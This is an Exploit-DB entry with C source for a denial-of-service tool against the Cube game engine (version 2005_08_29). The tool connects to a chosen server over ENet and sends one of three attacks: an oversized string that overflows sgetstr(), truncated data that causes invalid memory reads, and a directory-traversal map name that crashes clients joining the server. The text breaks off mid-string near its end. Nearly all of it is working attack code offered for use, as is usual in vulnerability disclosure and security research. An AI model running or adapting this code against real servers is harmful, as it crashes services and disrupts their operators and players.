Exploit-DB #1560
Description: Cube 2005_08_29 - Multiple Buffer Overflow / Crash
Type: dos
Platform: windows
Date: 2006-03-06
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

You NEED Enet for compiling this tool (then remember -lenet)
  http://enet.bespin.org / http://enet.cubik.org

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <enet/enet.h>



#define VER         "0.1"
#define PORT        28765
#define MAXTRANS    5000
#define BOFSZ       (MAXTRANS + 2400)
#define MAPSUX      "base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../readme.txt"



// when encoding is activated (all the pre-compiled client/server) the valid
// tag types are 0, 9, 11, 18, 19, 20, 23, 24, 26, 31 instead of the following
// values

enum {
    SV_INITS2C, SV_INITC2S, SV_POS, SV_TEXT, SV_SOUND, SV_CDIS,
    SV_DIED, SV_DAMAGE, SV_SHOT, SV_FRAGS,
    SV_TIMEUP, SV_EDITENT, SV_MAPRELOAD, SV_ITEMACC,
    SV_MAPCHANGE, SV_ITEMSPAWN, SV_ITEMPICKUP, SV_DENIED,
    SV_PING, SV_PONG, SV_CLIENTPING, SV_GAMEMODE,
    SV_EDITH, SV_EDITT, SV_EDITS, SV_EDITD, SV_EDITE,
    SV_SENDMAP, SV_RECVMAP, SV_SERVMSG, SV_ITEMLIST,
    SV_EXT,
}; 

void putint(u_char *p, int n, u_char **out) {
    if(n<128 && n>-127) { *p++ = n; }
    else if(n<0x8000 && n>=-0x8000) { *p++ = 0x80; *p++ = n; *p++ = n>>8;  }
    else { *p++ = 0x81; *p++ = n; *p++ = n>>8; *p++ = n>>16; *p++ = n>>24; };
    *out = p;
};

int getint(u_char *p, u_char **out) {
    int c = *((char *)p);
    p++;
    if(c==-128) { int n = *p++; n |= *((char *)p)<<8; p++; *out = p; return n;}
    else if(c==-127) { int n = *p++; n |= *p++<<8; n |= *p++<<16; *out = p; return n|(*p++<<24); } 
    else { *out = p; return c; }
};

void sendstring(char *t, u_char *p, u_char **out) {
    while(*t) putint(p, *t++, &p);
    putint(p, 0, &p);
    *out = p;
};



enet_uint32 myinetaddr(u_char *ip);
void cubeenc(u_char *data, int size);
char *myineta(u_int ip);



int main(int argc, char *argv[]) {
    ENetAddress address;
    ENetEvent   event;
    ENetPeer    *peer;
    ENetHost    *client;
    ENetPacket  *packet;
    int         enc = 0,
                len,
                attack;
    u_short     port = PORT;
    u_char      buff[8192],
                mybof[BOFSZ],
                *p;

    setbuf(stdout, NULL);

    fputs("\n"
        "Cube <= 2005_08_29 multiple vulnerabilities "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attack:\n"
            "1 = sgetstr() buffer-overflow\n"
            "2 = invalid memory access during data reading (getint and sgetstr)\n"
            "3 = crash of any client which will join the server through malformed map\n"
            "    loaded with directory traversal vulnerability and 260 bytes limit\n"
            "\n",
            argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);

    if(enet_initialize()) {
        printf("\nError: an error occurred while initializing ENet\n");
        exit(1);
    }

    client = enet_host_create(
        NULL        /* create a client host */,
        1           /* only allow 1 outgoing connection */,
        57600 / 8   /* 56K modem with 56 Kbps downstream bandwidth */,
        14400 / 8   /* 56K modem with 14 Kbps upstream bandwidth */);

    if(!client) {
        printf("An error occurred while trying to create an ENet client host.\n");
        exit(1);
    }

    if(argc > 3) port = atoi(argv[3]);
    if(enet_address_set_host(&address, argv[2]) < 0) {
        address.host = myinetaddr(argv[2]);
    }
    address.port = port;

    printf("- target   %s : %hu\n",
        myineta(address.host),
        address.port);

    peer = enet_host_connect(client, &address, 2);    
    if(!peer) {
       printf("\nError: no peers available for initiating an ENet connection\n");
       exit(1);
    }

    printf("- connect...");
    if((enet_host_service(client, &event, 5000) > 0) && (event.type == ENET_EVENT_TYPE_CONNECT)) {
        printf("ok\n");
    } else {
        printf("failed!\n");
        goto quit;
    }

    if((enet_host_service(client, &event, 3000) > 0) && (event.type == ENET_EVENT_TYPE_RECEIVE)) {
        if(event.packet->data[2] > SV_EXT) enc = 1;
        enet_packet_destroy(event.packet);
    }

    p = buff + 2;

    if(attack == 1) {
        printf("- send buffer-overflow data (%d bytes)\n", BOFSZ);
        putint(p, enc ? 9 : SV_TEXT, &p);
        memset(mybof, 'A', sizeof(mybof) - 1);
        mybof[sizeof(mybof) - 1] = 0;
        sendstring(mybof, p, &p);

    } else if(attack == 2) {
        printf("- send incomplete data (the server will do a reading loop in SV_EXT)\n");
        putint(p, enc ? 31 : SV_EXT, &p);
        putint(p, -1, &p);
        // for(int n = getint(p); n; n--) getint(p);

    } else if(attack == 3) {
        printf("- send bad map\n");
        putint(p, enc ? 9 : SV_MAPCHANGE, &p);
        sendstring(MAPSUX, p, &p);
        putint(p, 0, &p);
    }

    len = p - buff;
    *(u_short *)buff = htons(len);

    if(enc) {
        printf("- Cube xor encoding activated\n");
        cubeenc(buff + 2, len - 2);
    }

    packet = enet_packet_create(
        buff, 
        len, 
        ENET_PACKET_FLAG_RELIABLE);

    enet_peer_send(peer, 0, packet);
    enet_host_flush(client);
    if((enet_host_service(client, &event, 3000) > 0) &&(event.type == ENET_EVENT_TYPE_RECEIVE)) {
        enet_packet_destroy(event.packet);
    }

    enet_peer_disconnect(peer);

    if(attack == 3) {
        printf(
            "- if the server was empty the map has been accepted\n"
            "  any client whic